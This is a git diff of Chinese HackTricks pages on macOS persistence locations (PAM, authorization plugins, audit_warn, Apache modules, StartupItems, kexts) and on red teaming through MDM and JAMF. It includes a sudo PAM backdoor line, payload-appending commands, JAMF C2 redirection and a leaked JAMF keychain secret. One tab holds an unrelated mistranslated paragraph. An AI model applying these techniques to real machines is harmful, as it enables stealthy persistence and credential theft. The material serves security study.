**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
* 用于绕过沙盒的实用性:**否,因为您需要执行自己的应用程序**
* TCC绕过???
* 有用于绕过沙盒: **否,因为您需要执行自己的应用程序**
* TCC绕过: ???
#### 位置
@ -973,9 +983,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
#### 描述和利用
一个包含Finder Sync扩展的应用程序示例[**可以在这里找到**](https://github.com/D00MFist/InSync)。
一个带有Finder Sync Extension的应用程序示例[**可以在这里找到**](https://github.com/D00MFist/InSync)。
应用程序可以拥有`Finder Sync Extensions`。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它**必须使用一些有效的苹果开发者证书进行签名**,它必顶**必须被沙盒化**(尽管可以添加宽松的例外),并且必须注册到类似于:
应用程序可以拥有`Finder Sync Extensions`。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它**必须使用一些有效的苹果开发者证书进行签名**,它必须**受到沙盒限制**(尽管可以添加宽松的例外),并且必须注册到类似于:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -986,7 +996,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
* 但最终会入常见应用程序沙盒
* 但最终会入常见应用程序沙盒
* TCC绕过[🔴](https://emojipedia.org/large-red-circle)
#### 位置
@ -1000,11 +1010,11 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
* `~/Library/Screen Savers`
* **触发器**:选择屏幕保护程序
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### 描述与利用
#### 描述 & 攻击
在Xcode中创建一个新项目并选择模板生成一个新的**屏幕保护程序**。然后,将您的代码添加到其中,例如以下代码以生成日志。
在Xcode中创建一个新项目并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。
**构建**它,并将`.saver`捆绑包复制到**`~/Library/Screen Savers`**。然后打开屏幕保护程序GUI如果您只需单击它它应该生成大量日志
@ -1020,10 +1030,10 @@ Timestamp (process)[PID]
{% endcode %}
{% hint style="danger" %}
请注意,因为在加载此代码的二进制文件的授权中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)您可以找到**`com.apple.security.app-sandbox`**,您将处于**常见应用程序沙箱内**
请注意,因为在加载此代码的二进制文件的授权文件中 (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`),您可以找到 **`com.apple.security.app-sandbox`**,因此您将处于**常见应用程序沙箱**中
{% endhint %}
Saver 代码:
Saver code:
```objectivec
//
// ScreenSaverExampleView.m
@ -1093,23 +1103,23 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* 用于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
* 但最终会进入应用程序沙盒
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
* TCC绕过[🔴](https://emojipedia.org/large-red-circle)
* 沙盒看起来非常有限
#### 位置
* `~/Library/Spotlight/`
* **触发条件**: 创建一个由Spotlight插件管理的扩展名的新文件。
* **触发条件**创建一个由Spotlight插件管理的扩展名的新文件。
* `/Library/Spotlight/`
* **触发条件**: 创建一个由Spotlight插件管理的扩展名的新文件。
* **触发条件**创建一个由Spotlight插件管理的扩展名的新文件。
* 需要Root权限
* `/System/Library/Spotlight/`
* **触发条件**: 创建一个由Spotlight插件管理的扩展名的新文件。
* **触发条件**创建一个由Spotlight插件管理的扩展名的新文件。
* 需要Root权限
* `Some.app/Contents/Library/Spotlight/`
* **触发条件**: 创建一个由Spotlight插件管理的扩展名的新文件。
* **触发条件**创建一个由Spotlight插件管理的扩展名的新文件。
* 需要新的应用程序
#### 描述和利用
@ -1167,20 +1177,20 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
```
{% hint style="danger" %}
如果您检查其他`mdimporter`的Plist文件您可能找不到**`UTTypeConformsTo`**条目。这是因为这是一个内置的_统一类型标识符_[UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)),不需要指定扩展名。
如果您检查其他`mdimporter`的Plist文件您可能找不到**`UTTypeConformsTo`**条目。这是因为这是一个内置的_统一类型标识符_[UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)),不需要指定扩展名。
此外,系统默认插件始终优先,因此攻击者只能访问那些苹果自己的`mdimporters`未索引的文件。
此外,系统默认插件始终优先,因此攻击者只能访问未被苹果自己的`mdimporters`索引的文件。
{% endhint %}
要创建自己的导入器,您可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**以支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\
要创建自己的导入器,您可以从这个项目开始:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer),然后更改名称,**`CFBundleDocumentTypes`**并添加**`UTImportedTypeDeclarations`**便支持您想要支持的扩展名,并在**`schema.xml`**中反映它们。\
然后**更改**函数**`GetMetadataForFile`**的代码,以在创建具有已处理扩展名的文件时执行您的有效负载。
最后**构建并复制您的新`.mdimporter`**到三个先前位置之一,您可以通过**监视日志**或检查**`mdimport -L.`**来检查它何时加载。
最后**构建并复制您的新`.mdimporter`**到三个先前位置之一,您可以通过**监视日志**或检查**`mdimport -L.`**来检查它何时加载。
### ~~首选项窗格~~
{% hint style="danger" %}
看起来这个不再起作用了
看起来这似乎不再起作用
{% endhint %}
撰写:[https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
@ -1197,12 +1207,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
#### 描述
看起来这个不再起作用了
看起来这似乎不再起作用
## Root沙箱绕过
{% hint style="success" %}
在这里,您可以找到有用于**绕过沙箱**的起始位置,允许您通过**将其写入文件**并且是**root**或需要其他**奇怪条件**来简单执行某些内容。
在这里,您可以找到有用于**绕过沙箱**的起始位置,允许您通过**将其写入文件**来简单地执行某些内容,而**root**和/或需要其他**奇怪条件。**
{% endhint %}
### 周期性
@ -1215,16 +1225,16 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
#### 位置
* `/etc/periodic/daily`、`/etc/periodic/weekly`、`/etc/periodic/monthly`、`/usr/local/etc/periodic`
* `/etc/periodic/daily``/etc/periodic/weekly``/etc/periodic/monthly``/usr/local/etc/periodic`
* 需要root权限
* **触发器**:时间到
* `/etc/daily.local``/etc/weekly.local`或`/etc/monthly.local`
* **触发器**:时间到
* `/etc/daily.local``/etc/weekly.local`或`/etc/monthly.local`
* 需要root权限
* **触发器**:时间到
* **触发器**:时间到
#### 描述与利用
周期性脚本(**`/etc/periodic`**)会被执行,因为在`/System/Library/LaunchDaemons/com.apple.periodic*`中配置了**启动守护程序**。请注意,存储在`/etc/periodic/`中的脚本将作为**文件的所有者**执行,因此这对于潜在的特权升级不起作用。
周期性脚本(**`/etc/periodic`**)会被执行,因为在`/System/Library/LaunchDaemons/com.apple.periodic*`中配置了**启动守护程序**。请注意,存储在`/etc/periodic/`中的脚本将作为**文件的所有者执行**,因此这对于潜在的特权升级不起作用。
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@ -1281,17 +1291,17 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
#### 位置
* 总是需要root
* 始终需要root权限
#### 描述和利用
由于PAM更专注于**持久性**和恶意软件而不是在macOS内部轻松执行因此本博客不会提供详细解释**请阅读写作以更好地理解此技术**。
由于PAM更专注于**持久性**和恶意软件而不是在macOS内部轻松执行因此本博客不会提供详细解释**请阅读这些文章以更好地理解这种技术**。
使用以下命令检查PAM模块
```bash
ls -l /etc/pam.d
```
一种滥用PAM的持久性/权限提升技术很容易,只需修改模块/etc/pam.d/sudo在开头添加以下行
一种滥用PAM的持久性/权限提升技术很简单,只需修改模块/etc/pam.d/sudo在开头添加以下行
```bash
auth sufficient pam_permit.so
```
@ -1367,9 +1377,9 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
**`evaluate-mechanisms`** 会告诉授权框架需要调用外部机制进行授权。此外,**`privileged`** 会使其以 root 用户身份执行。
**`evaluate-mechanisms`** 会告诉授权框架需要**调用外部机制进行授权**。此外,**`privileged`** 会使其由 root 执行。
触发
使用以下命令触发:
```bash
security authorize com.asdf.asdf
```
@ -1409,16 +1419,16 @@ touch /tmp/manconf
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
* 有用于绕过沙盒的功能: [🟠](https://emojipedia.org/large-orange-circle)
* 但需要 root 权限和 apache 需要在运行
* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle)
* 有用于绕过沙盒[🟠](https://emojipedia.org/large-orange-circle)
* 但需要 root 权限和 apache 需要在运行
* TCC 绕过[🔴](https://emojipedia.org/large-red-circle)
* Httpd 没有授权
#### 位置
* **`/etc/apache2/httpd.conf`**
* 需要 root 权限
* 触发条件: 当 Apache2 启动时
* 触发条件当 Apache2 启动时
#### 描述 & 攻击
@ -1428,7 +1438,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
这样,您编译的模块将被Apache加载。唯一的问题是您需要**使用有效的苹果证书进行签名**,或者您需要在系统中**添加一个新的受信任证书**并**用其进行签名**
这样,您编译的模块将由Apache加载。唯一的问题是您需要使用有效的苹果证书进行签名或者您需要在系统中添加一个新的受信任证书并用其进行签名
然后,如果需要确保服务器将启动,您可以执行:
```bash
@ -1450,19 +1460,19 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
* 于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
* 但需要root权限auditd正在运行并引发警告
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
* **`/etc/security/audit_warn`**
* 需要root权限
* 需要Root权限
* **触发条件**: 当auditd检测到警告时
#### 描述 & 攻击
每当auditd检测到警告时脚本 **`/etc/security/audit_warn`** **执行**。因此,您可以在其中添加您的有效负载。
每当auditd检测到警告时脚本 **`/etc/security/audit_warn`** **执行**。因此,您可以在其中添加您的有效负载。
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
@ -1472,12 +1482,15 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
**此功能已被弃用,因此这些目录中不应该找到任何内容。**
{% endhint %}
**StartupItem** 是一个目录,应该位于 `/Library/StartupItems/``/System/Library/StartupItems/` 中。一旦建立了这个目录,它必须包含两个特定的文件:
**StartupItem** 是一个目录,应该位于 `/Library/StartupItems/``/System/Library/StartupItems/`的一个。一旦建立了这个目录,它必须包含两个特定的文件:
1. 一个 **rc 脚本**:在启动时执行的 shell 脚本。
2. 一个名为 `StartupParameters.plist`**plist 文件**,其中包含各种配置设置。
确保将 rc 脚本和 `StartupParameters.plist` 文件正确放置在 **StartupItem** 目录中,以便启动过程识别和利用它们。
确保将 rc 脚本和 `StartupParameters.plist` 文件正确放置在 **StartupItem** 目录中,以便启动过程识别并利用它们。
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -1496,7 +1509,17 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
{% endtab %}
{% tab title="superservicename" %}超级服务名称{% endtab %}
{% tab title="superservicename" %}在 macOS 上,有多个位置可以用来自动启动应用程序或服务。以下是一些常见的自动启动位置:
1. **登录项**:这些是在用户登录时自动启动的应用程序或服务。可以在“系统偏好设置” > “用户与群组” > “登录项”中管理。
2. **启动代理**:这些是在系统启动时自动启动的应用程序或服务。它们通常由 Launchd 管理,配置文件位于 `/Library/LaunchAgents``/Library/LaunchDaemons` 中。
3. **启动项**:这些是在系统启动时自动启动的应用程序或服务。它们通常由 Launchd 管理,配置文件位于 `/System/Library/LaunchAgents``/System/Library/LaunchDaemons` 中。
4. **定时任务**:使用 `cron``launchd` 可以创建定时任务,定时执行特定的脚本或命令。
检查和管理这些自动启动位置对于确保系统安全性和性能至关重要。{% endtab %}
```bash
#!/bin/sh
. /etc/rc.common
@ -1518,12 +1541,12 @@ RunService "$1"
### ~~emond~~
{% hint style="danger" %}
在我的 macOS 中找不到这个组件,欲了解更多信息,请查看 writeup
{% endhint}
我在我的 macOS 中找不到这个组件,想了解更多信息请查看 writeup
{% endhint %}
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
由 Apple 引入**emond** 是一个日志记录机制,看起来开发不完善或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并不特别有益,但这个鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不被大多数 macOS 管理员注意到。
由 Apple 引入**emond** 是一个日志记录机制,似乎是未开发完全或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并不特别有益,但这个鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不被大多数 macOS 管理员注意到。
对于知道其存在的人来说,识别 **emond** 的任何恶意使用是直截了当的。该服务的 LaunchDaemon 寻找要在单个目录中执行的脚本。要检查这一点,可以使用以下命令:
```bash
@ -1536,12 +1559,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
#### 位置
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
* 需要 Root 权限
* 需要 root 权限
* **触发条件**:使用 XQuartz
#### 描述 & 攻击
XQuartz **不再安装在 macOS** 上,如果需要更多信息,请查看上述写作
XQuartz **不再在 macOS 中安装**,如果需要更多信息,请查看 writeup
### kext
@ -1566,8 +1589,6 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
有关[**内核扩展,请查看此部分**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。
### ~~amstoold~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
@ -1577,9 +1598,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
* **`/usr/local/bin/amstoold`**
* 需要 root 权限
#### 描述利用
#### 描述 & 利用
显然,`/System/Library/LaunchAgents/com.apple.amstoold.plist` 中的 `plist` 使用了这个二进制文件,同时暴露了一个 XPC 服务... 问题在于二进制文件不存在,因此您可以在那里放置一些内容,当调用 XPC 服务时,您的二进制文件将被调用。
显然,`/System/Library/LaunchAgents/com.apple.amstoold.plist` 中的 `plist` 使用了这个二进制文件,同时暴露了一个 XPC 服务... 问题在于二进制文件不存在,因此您可以在那里放置一些内容,当调用 XPC 服务时,您的二进制文件将被调用。
我在我的 macOS 中找不到这个了。
@ -1593,9 +1614,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
* 需要 root 权限
* **触发条件**:当服务运行时(很少)
#### 描述利用
#### 描述 & 利用
显然,运行此脚本并不常见,我甚至在我的 macOS 中找不到它,因此如果您想获取更多信息,请查看 writeup。
显然,运行此脚本并不是很常见,我甚至在我的 macOS 中找不到它,因此如果您想获取更多信息,请查看 writeup。
### ~~/etc/rc.common~~
@ -1603,7 +1624,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
**在现代 MacOS 版本中不起作用**
{% endhint %}
可以在这里放置**将在启动时执行的命令。** 例如常规 rc.common 脚本:
可以在这里放置**将在启动时执行的命令。** 例如常规 rc.common 脚本:
```bash
#
# Common setup for startup scripts.
@ -1707,7 +1728,7 @@ esac
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -8,7 +8,7 @@
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
@ -19,7 +19,7 @@
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
如果您设法**获取管理员凭据**以访问管理平台,则可以通过在计算机上分发恶意软件**潜在地危害所有计算机**。
如果您设法**获取管理员凭据**以访问管理平台,则可以通过在计算机上分发恶意软件**潜在地危害所有计算机**。
在 MacOS 环境中进行红队行动时,强烈建议了解 MDM 的工作原理:
@ -29,23 +29,23 @@
### 将 MDM 用作 C2
MDM 将具有安装、查询或删除配置文件、安装应用程序、创建本地管理员帐户、设置固件密码、更改 FileVault 密钥的权限...
MDM 将具有安装、查询或删除配置文件的权限,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥等。
为了运行您自己的 MDM您需要**由供应商签署的 CSR**,您可以尝试使用 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行自己的 MDM您可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
要运行自己的 MDM您需要**由供应商签署的 CSR**,您可以尝试使用 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行自己的 MDM您可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
但是,要在已注册设备上安装应用程序,仍然需要由开发者帐户签名... 但是,在 MDM 注册后,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此现在您可以签署任何内容。
但是,要在已注册设备上安装应用程序,仍然需要由开发人员帐户签署... 但是,在 MDM 注册后,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此现在您可以签署任何内容。
要将设备注册到 MDM您需要以 root 身份安装一个**`mobileconfig`** 文件,该文件可以通过 **pkg** 文件交付(您可以将其压缩为 zip 文件,当从 Safari 下载时,它将被解压缩)。
要将设备注册到 MDM您需要以 root 身份安装一个**`mobileconfig`** 文件,该文件可以通过**pkg** 文件交付(您可以将其压缩为 zip 文件,当从 Safari 下载时,它将被解压缩)。
**Mythic 代理 Orthrus** 使用了这种技术。
### 滥用 JAMF PRO
JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本)、**本机负载**(本地帐户创建、设置 EFI 密码、文件/进程监视...)和**MDM**(设备配置、设备证书...)。
JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本)**本机负载**(本地帐户创建,设置 EFI 密码,文件/进程监视...)和**MDM**(设备配置,设备证书...)。
#### JAMF 自注册
转到页面,例如 `https://<company-name>.jamfcloud.com/enroll/`,查看他们是否已启用**自注册**。如果启用,可能会**要求凭据访问**。
转到页面,例如 `https://<company-name>.jamfcloud.com/enroll/`,查看他们是否已启用**自注册**。如果启用,可能会**要求凭据访问**。
您可以使用脚本 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 执行密码喷洒攻击。
@ -55,14 +55,14 @@ JAMF 可以运行**自定义脚本**(由系统管理员开发的脚本)、**
#### JAMF 设备认证
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**`jamf`** 二进制文件包含打开钥匙串的秘密,当时发现时**共享**给所有人,即:**`jk23ucnq91jfu9aj`**。\
此外jamf 作为**LaunchDaemon**持久存在于**`/Library/LaunchAgents/com.jamf.management.agent.plist`** 中。
此外jamf 作为**LaunchDaemon** 持久存在于**`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF 设备接管
**`jamf`** 将使用的 **JSS**Jamf 软件服务器)**URL**位于**`/Library/Preferences/com.jamfsoftware.jamf.plist`**。\
**`jamf`** 将使用的 **JSS**Jamf 软件服务器)**URL** 位于**`/Library/Preferences/com.jamfsoftware.jamf.plist`**。\
该文件基本上包含 URL
{% code overflow="wrap" %}
@ -78,7 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<integer>4</integer>
[...]
```
攻击者可以放一个恶意软件包(`pkg`),在安装时覆盖这个文件,将**URL设置为从Typhon代理到Mythic C2监听器**,从而可以滥用JAMF作为C2。
攻击者可以放一个恶意软件包(`pkg`),在安装时覆盖这个文件,将**URL设置为从Typhon代理到Mythic C2监听器**,从而用JAMF作为C2。
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -87,22 +87,22 @@ sudo jamf policy -id 0
```
{% endcode %}
#### JAMF模拟
#### JAMF冒充
为了**模拟**设备与JMF之间的通信您需要
为了**冒充**设备与JMF之间的通信您需要
* 设备的**UUID**`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* 来自`/Library/Application\ Support/Jamf/JAMF.keychain`的**JAMF钥匙链**,其中包含设备证书
* 来自以下位置的**JAMF钥匙链**`/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书
有了这些信息,可以创建一个带有**窃取的**硬件**UUID**和**SIP禁用**的虚拟机,放置**JAMF钥匙链****挂钩**Jamf**代理**并窃取其信息。
有了这些信息,可以创建一个带有**窃取的**硬件**UUID**和**已禁用SIP**的VM,放置**JAMF钥匙链****挂钩**Jamf**代理**并窃取其信息。
#### 秘密窃取
#### 窃取秘密
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
您还可以监视位置`/Library/Application Support/Jamf/tmp/`因为管理员可能希望通过Jamf执行**自定义脚本**,这些脚本会在此处**放置、执行和删除**。这些脚本**可能包含凭据**。
您还可以监视位置`/Library/Application Support/Jamf/tmp/`,因为**管理员**可能希望通过Jamf执行**自定义脚本**,这些脚本会在此处**放置、执行和删除**。这些脚本**可能包含凭据**。
但是,**凭据**可能会作为**参数**传递给这些脚本,因此您需要监视`ps aux | grep -i jamf`甚至不需要root权限)。
但是,**凭据**可能会作为**参数**传递给这些脚本,因此您需要监视`ps aux | grep -i jamf`(甚至不需要root
脚本[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)可以监听新添加的文件和新的进程参数。
@ -134,11 +134,11 @@ sudo jamf policy -id 0
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
还有一些针对 MacOS 准备的工具,可以自动枚举 AD 并与 kerberos 进行交互:
此外,还有一些针对 MacOS 准备的工具,可以自动枚举 AD 并与 kerberos 进行交互:
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound 是 Bloodhound 审计工具的扩展,允许在 MacOS 主机上收集和摄入 Active Directory 关系。
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost 是一个 Objective-C 项目,旨在与 macOS 上的 Heimdal krb5 API 进行交互。该项目的目标是利用本机 API 在 macOS 设备上实现更好的 Kerberos 安全测试,而无需在目标上安装任何其他框架或软件包。
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) 工具,用于行 Active Directory 枚举。
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound 是 Bloodhound 审计工具的扩展,允许在 MacOS 主机上收集和摄入 Active Directory 关系。
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost 是一个 Objective-C 项目,旨在与 macOS 上的 Heimdal krb5 API 进行交互。该项目的目标是利用本机 API 在 macOS 设备上围绕 Kerberos 实现更好的安全测试,而无需在目标设备上安装任何其他框架或软件包。
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) 工具,用于行 Active Directory 枚举。
### 域信息
```bash
@ -146,14 +146,14 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### 用户
MacOS 有三种类型的用户
MacOS 的三种用户类型为
- **本地用户** — 由本地 OpenDirectory 服务管理,与 Active Directory 没有任何连接。
- **网络用户** — 需要连接到 DC 服务器进行身份验证的易失性 Active Directory 用户。
- **移动用户** — 具有本地备份以保存其凭据和文件的 Active Directory 用户。
关于用户和组的本地信息存储在文件夹 _/var/db/dslocal/nodes/Default_ 中。\
例如,名为 _mark_ 的用户信息存储在 _/var/db/dslocal/nodes/Default/users/mark.plist_,组 _admin_ 的信息存储在 _/var/db/dslocal/nodes/Default/groups/admin.plist_ 中。
例如,名为 _mark_ 的用户信息存储在 _/var/db/dslocal/nodes/Default/users/mark.plist_,组 _admin_ 的信息存储在 _/var/db/dslocal/nodes/Default/groups/admin.plist_ 中。
除了使用 HasSession 和 AdminTo 边缘外,**MacHound 还向 Bloodhound 数据库添加了三个新边缘**
@ -185,7 +185,7 @@ dsconfigad -show
## 访问钥匙串
钥匙串很可能包含敏感信息,如果在不生成提示的情况下访问,可能有助于推动红队演练:
钥匙串很可能包含敏感信息,如果在不生成提示的情况下访问,可能有助于推动红队演练的进行
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -193,7 +193,7 @@ dsconfigad -show
## 外部服务
MacOS红队行动与常规Windows红队行动不同因为通常**MacOS直接集成了个外部平台**。 MacOS的常见配置是使用**OneLogin同步凭据访问计算机并通过OneLogin访问多个外部服务**如github、aws...)。
MacOS红队行动与常规Windows红队行动不同因为通常**MacOS直接集成了个外部平台**。 MacOS的常见配置是使用**OneLogin同步凭据访问计算机并通过OneLogin访问多个外部服务**如github、aws...)。
## 其他红队技术

View file

@ -4,10 +4,10 @@
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗想要在HackTricks上宣传您的**公司**吗?或者想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 您在**网络安全公司**工作吗想要在HackTricks上宣传您的**公司**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 探索我们独家的[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取官方的[PEASS和HackTricks**周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**或[**电报群**](https://t.me/peass)或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* 获取官方的[PEASS和HackTricks**品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群** 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)发送PR来分享您的黑客技巧。
</details>
@ -18,17 +18,17 @@
### 要求
显然,这是如此强大,以至于**加载内核扩展**变得**复杂**。这是内核扩展必须满足的**要求**
显然,这是如此强大,以至于**加载内核扩展**变得**复杂**。内核扩展必须满足以下**要求**才能加载
